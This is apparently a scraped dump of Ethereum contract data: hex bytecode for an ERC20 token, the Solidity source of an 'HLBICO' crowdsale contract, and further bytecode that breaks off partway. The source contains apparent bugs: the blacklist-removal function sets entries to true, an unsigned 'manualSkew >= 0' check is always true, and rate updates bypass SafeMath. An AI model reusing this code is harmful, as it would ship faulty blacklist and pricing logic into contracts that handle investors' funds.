169060200190929190803590602001909291905050506109aa565b60405180821515815260200191505060405180910390f35b610312600480360360208110156102fc57600080fd5b8101908080359060200190929190505050610a83565b6040518082815260200191505060405180910390f35b6103746004803603604081101561033e57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa2565b005b61037e610b2b565b604051808260ff16815260200191505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b42565b005b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bdb565b60405180821515815260200191505060405180910390f35b6104956004803603604081101561045f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c8e565b005b6104c3600480360360208110156104ad57600080fd5b8101908080359060200190929190505050610d9d565b005b610507600480360360208110156104db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610db1565b6040518082815260200191505060405180910390f35b6105696004803603604081101561053357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dfa565b005b6105a16004803603604081101561058157600080fd5b810190808035906020019092919080359060200190929190505050610e5c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610619600480360360408110156105e357600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e8d565b60405180821515815260200191505060405180910390f35b610639610ebe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561067957808201518184015260208101905061065e565b50505050905090810190601f1680156106a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106bc610f60565b6040518082815260200191505060405180910390f35b61071e600480360360408110156106e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f67565b60405180821515815260200191505060405180910390f35b6107826004803603604081101561074c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611034565b60405180821515815260200191505060405180910390f35b6107a2611052565b60405180821515815260200191505060405180910390f35b6107e6600480360360208110156107d057600080fd5b8101908080359060200190929190505050611069565b6040518082815260200191505060405180910390f35b61080461108f565b6040518082815260200191505060405180910390f35b6108666004803603604081101561083057600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110b3565b005b6108ca6004803603604081101561087e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113c565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109785780601f1061094d57610100808354040283529160200191610978565b820191906000526020600020905b81548152906001019060200180831161095b57829003601f168201915b5050505050905090565b600061099661098f6112ab565b84846112b3565b6001905092915050565b6000600354905090565b60006109b78484846114aa565b610a78846109c36112ab565b610a73856040518060600160405280602881526020016120b060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a296112ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176f9092919063ffffffff16565b6112b3565b600190509392505050565b6000806000838152602001908152602001600020600201549050919050565b610ac860008084815260200190815260200160002060020154610ac36112ab565b610e8d565b610b1d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180611fe7602f913960400191505060405180910390fd5b610b27828261182f565b5050565b6000600660009054906101000a900460ff16905090565b610b4a6112ab565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610bcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806121b2602f913960400191505060405180910390fd5b610bd782826118c2565b5050565b6000610c84610be86112ab565b84610c7f8560026000610bf96112ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122390919063ffffffff16565b6112b3565b6001905092915050565b610cbf7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6610cba6112ab565b610e8d565b610d14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806121666027913960400191505060405180910390fd5b610d1c611052565b15610d8f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f52494f546f6b656e3a206d696e74206973206c6f636b6564000000000000000081525060200191505060405180910390fd5b610d998282611955565b5050565b610dae610da86112ab565b82611b1e565b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610e39826040518060600160405280602481526020016120d860249139610e2a86610e256112ab565b61113c565b61176f9092919063ffffffff16565b9050610e4d83610e476112ab565b836112b3565b610e578383611b1e565b505050565b6000610e8582600080868152602001908152602001600020600001611ce490919063ffffffff16565b905092915050565b6000610eb6826000808681526020019081526020016000206000016111f390919063ffffffff16565b905092915050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f565780601f10610f2b57610100808354040283529160200191610f56565b820191906000526020600020905b815481529060010190602001808311610f3957829003601f168201915b5050505050905090565b6000801b81565b600061102a610f746112ab565b846110258560405180606001604052806025815260200161218d6025913960026000610f9e6112ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176f9092919063ffffffff16565b6112b3565b6001905092915050565b60006110486110416112ab565b84846114aa565b6001905092915050565b6000600660019054906101000a900460ff16905090565b6000611088600080848152602001908152602001600020600001611cfe565b9050919050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b6110d9600080848152602001908152602001600020600201546110d46112ab565b610e8d565b61112e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806120806030913960400191505060405180910390fd5b61113882826118c2565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006111eb836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611d13565b905092915050565b600061121b836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611d83565b905092915050565b6000808284019050838110156112a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611339576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806121426024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806120386022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061211d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611fc46023913960400191505060405180910390fd5b6115c1838383611da6565b61162d8160405180606001604052806026815260200161205a60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176f9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116c281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061181c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156117e15780820151818401526020810190506117c6565b50505050905090810190601f16801561180e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b611856816000808581526020019081526020016000206000016111c390919063ffffffff16565b156118be576118636112ab565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6118e981600080858152602001908152602001600020600001611dab90919063ffffffff16565b15611951576118f66112ab565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119f8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611a0460008383611da6565b611a198160035461122390919063ffffffff16565b600381905550611a7181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ba4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806120fc6021913960400191505060405180910390fd5b611bb082600083611da6565b611c1c8160405180606001604052806022815260200161201660229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176f9092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7481600354611ddb90919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611cf38360000183611e25565b60001c905092915050565b6000611d0c82600001611ea8565b9050919050565b6000611d1f8383611d83565b611d78578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611d7d565b600090505b92915050565b600080836001016000848152602001908152602001600020541415905092915050565b505050565b6000611dd3836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611eb9565b905092915050565b6000611e1d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061176f565b905092915050565b600081836000018054905011611e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611fa26022913960400191505060405180910390fd5b826000018281548110611e9557fe5b9060005260206000200154905092915050565b600081600001805490509050919050565b60008083600101600084815260200190815260200160002054905060008114611f955760006001820390506000600186600001805490500390506000866000018281548110611f0457fe5b9060005260206000200154905080876000018481548110611f2157fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480611f5957fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611f9b565b60009150505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345524332303a207472616e7366657220746f20746865207a65726f2061646472657373416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e7445524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b6545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737352494f546f6b656e3a206d7573742068617665206d696e74657220726f6c6520746f206d696e7445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a2646970667358221220c9910b60cd5788c1fb640b9072bf1073156781efb67e38371b128bae6f1addae64736f6c634300060c0033
[ 38 ]
0xF2170fC7C95f2745FfE12366b29a003Ce2Da8820
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./SafeMath.sol"; import "./CappedTimedCrowdsale.sol"; import "./RefundPostdevCrowdsale.sol"; /** ** ICO Contract for the LBC crowdsale */ contract HLBICO is CappedTimedCrowdsale, RefundablePostDeliveryCrowdsale { using SafeMath for uint256; /* ** Global State */ bool public initialized; // default : false /* ** Addresses */ address public _deployingAddress; // should remain the same as deployer's address address public _whitelistingAddress; // should be oracle address public _reserveAddress; // should be deployer then humble reserve /* ** Events */ event InitializedContract(address indexed changerAddress, address indexed whitelistingAddress); event ChangedWhitelisterAddress(address indexed whitelisterAddress, address indexed changerAddress); event ChangedReserveAddress(address indexed reserveAddress, address indexed changerAddress); event ChangedDeployerAddress(address indexed deployerAddress, address indexed changerAddress); event BlacklistedAdded(address indexed account); event BlacklistedRemoved(address indexed account); event UpdatedCaps(uint256 newGoal, uint256 newCap, uint256 newTranche, uint256 newMaxInvest, uint256 newRate, uint256 newRateCoef); /* ** Attrs */ uint256 private _currentRate; uint256 private _rateCoef; mapping(address => bool) private _blacklistedAddrs; mapping(address => uint256) private _investmentAddrs; uint256 private _weiMaxInvest; uint256 private _etherTranche; uint256 private _currentWeiTranche; // Holds the current invested value for a tranche uint256 private _deliverToReserve; uint256 private _minimumInvest; /* * initialRateReceived : Number of token units a buyer gets per wei for the first investment slice. Should be 5000 (diving by 1000 for 3 decimals). * walletReceived : Wallet that will get the invested eth at the end of the crowdsale * tokenReceived : Address of the LBC token being sold * openingTimeReceived : Starting date of the ICO * closingtimeReceived : Ending date of the ICO * capReceived : Max amount of wei to be contributed * goalReceived : Funding goal * etherMaxInvestReceived : Maximum ether that can be invested */ constructor(uint256 initialRateReceived, uint256 rateCoefficientReceived, address payable walletReceived, LBCToken tokenReceived, uint256 openingTimeReceived, uint256 closingTimeReceived, uint256 capReceived, uint256 goalReceived) CrowdsaleMint(initialRateReceived, walletReceived, tokenReceived) TimedCrowdsale(openingTimeReceived, closingTimeReceived) CappedTimedCrowdsale(capReceived) RefundableCrowdsale(goalReceived) { _deployingAddress = msg.sender; _etherTranche = 250000000000000000000; // 300000€; For eth = 1200 € _weiMaxInvest = 8340000000000000000; // 10008€; for eth = 1200 € _currentRate = initialRateReceived; _rateCoef = rateCoefficientReceived; _currentWeiTranche = 0; _deliverToReserve = 0; _minimumInvest = 1000000000000000; // 1.20€; for eth = 1200€ } /* ** Initializes the contract address and affects addresses to their roles. */ function init( address whitelistingAddress, address reserveAddress ) public isNotInitialized onlyDeployingAddress { require(whitelistingAddress != address(0), "HLBICO: whitelistingAddress cannot be 0x"); require(reserveAddress != address(0), "HLBICO: reserveAddress cannot be 0x"); _whitelistingAddress = whitelistingAddress; _reserveAddress = reserveAddress; initialized = true; emit InitializedContract(_msgSender(), whitelistingAddress); } /** * @dev Returns the rate of tokens per wei at the present time and computes rate depending on tranche. * @param weiAmount The value in wei to be converted into tokens * @return The number of tokens a buyer gets per wei for a given tranche */ function _getCustomAmount(uint256 weiAmount) internal returns (uint256) { if (!isOpen()) { return 0; } uint256 calculatedAmount = 0; _currentWeiTranche = _currentWeiTranche.add(weiAmount); if (_currentWeiTranche > _etherTranche) { _currentWeiTranche = _currentWeiTranche.sub(_etherTranche); //If we updated the tranche manually to a smaller one uint256 manualSkew = weiAmount.sub(_currentWeiTranche); if (manualSkew >= 0) { calculatedAmount = calculatedAmount.add(weiAmount.sub(_currentWeiTranche).mul(rate())); _currentRate -= _rateCoef; // coefficient for 35 tokens reduction for each tranche calculatedAmount = calculatedAmount.add(_currentWeiTranche.mul(rate())); } //If there is a skew between invested wei and calculated wei for a tranche else { _currentRate -= _rateCoef; // coefficient for 35 tokens reduction for each tranche calculatedAmount = calculatedAmount.add(weiAmount.mul(rate())); } } else calculatedAmount = calculatedAmount.add(weiAmount.mul(rate())); uint256 participationAmount = calculatedAmount.mul(5).div(100); calculatedAmount = calculatedAmount.sub(participationAmount); _deliverToReserve = _deliverToReserve.add(participationAmount); return calculatedAmount; } /* ** Adjusts all parameters influenced by Ether value based on a percentage coefficient ** coef is based on 4 digits for decimal representation with 1 precision ** i.e : 934 -> 93.4%; 1278 -> 127.8% */ function adjustEtherValue(uint256 coef) public onlyDeployingAddress { require(coef > 0 && coef < 10000, "HLBICO: coef isn't within range of authorized values"); uint256 baseCoef = 1000; changeGoal(goal().mul(coef).div(1000)); changeCap(cap().mul(coef).div(1000)); _etherTranche = _etherTranche.mul(coef).div(1000); _weiMaxInvest = _weiMaxInvest.mul(coef).div(1000); if (coef > 1000) { coef = coef.sub(1000); _currentRate = _currentRate.sub(_currentRate.mul(coef).div(1000)); _rateCoef = _rateCoef.sub(_rateCoef.mul(coef).div(1000)); } else { coef = baseCoef.sub(coef); _currentRate = _currentRate.add(_currentRate.mul(coef).div(1000)); _rateCoef = _rateCoef.add(_rateCoef.mul(coef).div(1000)); } emit UpdatedCaps(goal(), cap(), _etherTranche, _weiMaxInvest, _currentRate, _rateCoef); } function rate() public view override returns (uint256) { return _currentRate; } function getNextRate() public view returns (uint256) { return _currentRate.sub(_rateCoef); } /* ** Changes the address of the token contract. Must only be callable by deployer */ function changeToken(LBCToken newToken) public onlyDeployingAddress { _changeToken(newToken); } /* ** Changes the address with whitelisting role and can only be called by deployer */ function changeWhitelister(address newWhitelisterAddress) public onlyDeployingAddress { _whitelistingAddress = newWhitelisterAddress; emit ChangedWhitelisterAddress(newWhitelisterAddress, _msgSender()); } /* ** Changes the address with deployer role and can only be called by deployer */ function changeDeployer(address newDeployerAddress) public onlyDeployingAddress { _deployingAddress = newDeployerAddress; emit ChangedDeployerAddress(_deployingAddress, _msgSender()); } /* ** Changes the address with pause role and can only be called by deployer */ function changeReserveAddress(address newReserveAddress) public onlyDeployingAddress { _reserveAddress = newReserveAddress; emit ChangedReserveAddress(newReserveAddress, _msgSender()); } /** * @dev Escrow finalization task, called when finalize() is called. */ function _finalization() override virtual internal { // Mints the 5% participation and sends it to humblereserve if (goalReached()) { _deliverTokens(_reserveAddress, _deliverToReserve); } super._finalization(); } /* ** Checks if an adress has been blacklisted before letting them withdraw their funds */ function withdrawTokens(address beneficiary) override virtual public { require(!isBlacklisted(beneficiary), "HLBICO: account is blacklisted"); super.withdrawTokens(beneficiary); } /** * @dev Overrides parent method taking into account variable rate. * @param weiAmount The value in wei to be converted into tokens * @return The number of tokens _weiAmount wei will buy at present time */ function _getTokenAmount(uint256 weiAmount) internal override returns (uint256) { return _getCustomAmount(weiAmount); } function _forwardFunds() internal override(CrowdsaleMint, RefundablePostDeliveryCrowdsale) { RefundablePostDeliveryCrowdsale._forwardFunds(); } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal override(TimedCrowdsale, CappedTimedCrowdsale) view { require(weiAmount >= _minimumInvest, "HLBICO: Investment must be greater than or equal to 0.001 eth"); _dontExceedAmount(beneficiary, weiAmount); CappedTimedCrowdsale._preValidatePurchase(beneficiary, weiAmount); } function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal override { require(beneficiary != address(0), "HLBICO: _postValidatePurchase benificiary is the zero address"); _investmentAddrs[beneficiary] = _investmentAddrs[beneficiary].add(weiAmount); } function _processPurchase(address beneficiary, uint256 tokenAmount) internal override(CrowdsaleMint, RefundablePostDeliveryCrowdsale) { RefundablePostDeliveryCrowdsale._processPurchase(beneficiary, tokenAmount); } function hasClosed() public view override(TimedCrowdsale, CappedTimedCrowdsale) returns (bool) { // solhint-disable-next-line not-rely-on-time return CappedTimedCrowdsale.hasClosed(); } function etherTranche() public view returns (uint256) { return _etherTranche; } function maxInvest() public view returns (uint256) { return _weiMaxInvest; } function addBlacklisted(address account) public onlyWhitelistingAddress { _addBlacklisted(account); } function removeBlacklisted(address account) public onlyWhitelistingAddress { _removeBlacklisted(account); } function isBlacklisted(address account) public view returns (bool) { require(account != address(0), "HLBICO: account is zero address"); return _blacklistedAddrs[account]; } function _addBlacklisted(address account) internal { require(!isBlacklisted(account), "HLBICO: account already blacklisted"); _blacklistedAddrs[account] = true; emit BlacklistedAdded(account); } function _removeBlacklisted(address account) internal { require(isBlacklisted(account), "HLBICO: account is not blacklisted"); _blacklistedAddrs[account] = true; emit BlacklistedRemoved(account); } function _dontExceedAmount(address beneficiary, uint256 weiAmount) internal view { require(_investmentAddrs[beneficiary].add(weiAmount) <= _weiMaxInvest, "HLBICO: Cannot invest more than KYC limit."); } modifier onlyWhitelistingAddress() { require(_msgSender() == _whitelistingAddress, "HLBICO: caller does not have the Whitelisted role"); _; } /* ** Checks if the contract hasn't already been initialized */ modifier isNotInitialized() { require(initialized == false, "HLBICO: contract is already initialized."); _; } /* ** Checks if the sender is the minter controller address */ modifier onlyDeployingAddress() { require(msg.sender == _deployingAddress, "HLBICO: only the deploying address can call this method."); _; } }
0x6080604052600436106101fd5760003560e01c80634f9359451161010d578063b7a8807c116100a0578063ec8ac4d81161006f578063ec8ac4d8146108b9578063f09a4016146108fd578063f5e343bb1461096e578063fc0c546a146109af578063fe575a87146109f057610214565b8063b7a8807c1461079b578063bffa55d5146107c6578063c6a276c214610817578063defdfae61461086857610214565b80637d3d6522116100dc5780637d3d6522146106af578063966aeece146106dc578063ae5b5b111461072d578063b3f05b971461076e57610214565b80634f9359451461058b578063521eb273146105b857806366829b16146105f957806370a082311461064a57610214565b806337b71da11161019057806347535d7b1161015f57806347535d7b1461047a578063477fea02146104a757806349df728c146104f85780634b6753bc146105495780634bb278f31461057457610214565b806337b71da1146103ce5780633f701544146103f957806340193883146104245780634042b66f1461044f57610214565b80632c4e722e116101cc5780632c4e722e146103125780633110235a1461033d578063329425c514610368578063355274ea146103a357610214565b80631515bc2b14610226578063158ef93e14610253578063188efc16146102805780631cd273cf146102d157610214565b366102145761021261020d610a57565b610a5f565b005b61022461021f610a57565b610a5f565b005b34801561023257600080fd5b5061023b610bbe565b60405180821515815260200191505060405180910390f35b34801561025f57600080fd5b50610268610bcd565b60405180821515815260200191505060405180910390f35b34801561028c57600080fd5b506102cf600480360360208110156102a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be0565b005b3480156102dd57600080fd5b506102e6610c99565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561031e57600080fd5b50610327610cbf565b6040518082815260200191505060405180910390f35b34801561034957600080fd5b50610352610cc9565b6040518082815260200191505060405180910390f35b34801561037457600080fd5b506103a16004803603602081101561038b57600080fd5b8101908080359060200190929190505050610cd3565b005b3480156103af57600080fd5b506103b8611071565b6040518082815260200191505060405180910390f35b3480156103da57600080fd5b506103e361107b565b6040518082815260200191505060405180910390f35b34801561040557600080fd5b5061040e611099565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b506104396110a3565b6040518082815260200191505060405180910390f35b34801561045b57600080fd5b506104646110ad565b6040518082815260200191505060405180910390f35b34801561048657600080fd5b5061048f6110b7565b60405180821515815260200191505060405180910390f35b3480156104b357600080fd5b506104f6600480360360208110156104ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d2565b005b34801561050457600080fd5b506105476004803603602081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061121d565b005b34801561055557600080fd5b5061055e6112a5565b6040518082815260200191505060405180910390f35b34801561058057600080fd5b506105896112af565b005b34801561059757600080fd5b506105a06113e0565b60405180821515815260200191505060405180910390f35b3480156105c457600080fd5b506105cd6113f4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060557600080fd5b506106486004803603602081101561061c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061141e565b005b34801561065657600080fd5b506106996004803603602081101561066d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d0565b6040518082815260200191505060405180910390f35b3480156106bb57600080fd5b506106c4611519565b60405180821515815260200191505060405180910390f35b3480156106e857600080fd5b5061072b600480360360208110156106ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061152d565b005b34801561073957600080fd5b50610742611678565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561077a57600080fd5b5061078361169e565b60405180821515815260200191505060405180910390f35b3480156107a757600080fd5b506107b06116b5565b6040518082815260200191505060405180910390f35b3480156107d257600080fd5b50610815600480360360208110156107e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116bf565b005b34801561082357600080fd5b506108666004803603602081101561083a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611820565b005b34801561087457600080fd5b506108b76004803603602081101561088b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118d9565b005b6108fb600480360360208110156108cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a5f565b005b34801561090957600080fd5b5061096c6004803603604081101561092057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a46565b005b34801561097a57600080fd5b50610983611d66565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109bb57600080fd5b506109c4611d8c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109fc57600080fd5b50610a3f60048036036020811015610a1357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611db6565b60405180821515815260200191505060405180910390f35b600033905090565b60026000541415610ad8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60026000819055506000349050610aef8282611eae565b6000610afa82611f21565b9050610b1182600454611f3390919063ffffffff16565b600481905550610b218382611fbb565b8273ffffffffffffffffffffffffffffffffffffffff16610b40610a57565b73ffffffffffffffffffffffffffffffffffffffff167f6faf93231a456e552dbc9961f58d9713ee4f2e69d15f1975b050ef0911053a7b8484604051808381526020018281526020019250505060405180910390a3610b9f8383611fc9565b610ba7611fcd565b610bb18383611fd7565b5050600160008190555050565b6000610bc86120f6565b905090565b600c60149054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c21610a57565b73ffffffffffffffffffffffffffffffffffffffff1614610c8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806133606031913960400191505060405180910390fd5b610c9681612114565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601054905090565b6000601454905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d79576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806135946038913960400191505060405180910390fd5b600081118015610d8a575061271081105b610ddf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806132666034913960400191505060405180910390fd5b60006103e89050610e1c610e176103e8610e0985610dfb6110a3565b61221190919063ffffffff16565b61229790919063ffffffff16565b6122e1565b610e52610e4d6103e8610e3f85610e31611071565b61221190919063ffffffff16565b61229790919063ffffffff16565b6122eb565b610e7b6103e8610e6d8460155461221190919063ffffffff16565b61229790919063ffffffff16565b601581905550610eaa6103e8610e9c8460145461221190919063ffffffff16565b61229790919063ffffffff16565b6014819055506103e8821115610f5c57610ecf6103e8836122f590919063ffffffff16565b9150610f0e610efd6103e8610eef8560105461221190919063ffffffff16565b61229790919063ffffffff16565b6010546122f590919063ffffffff16565b601081905550610f51610f406103e8610f328560115461221190919063ffffffff16565b61229790919063ffffffff16565b6011546122f590919063ffffffff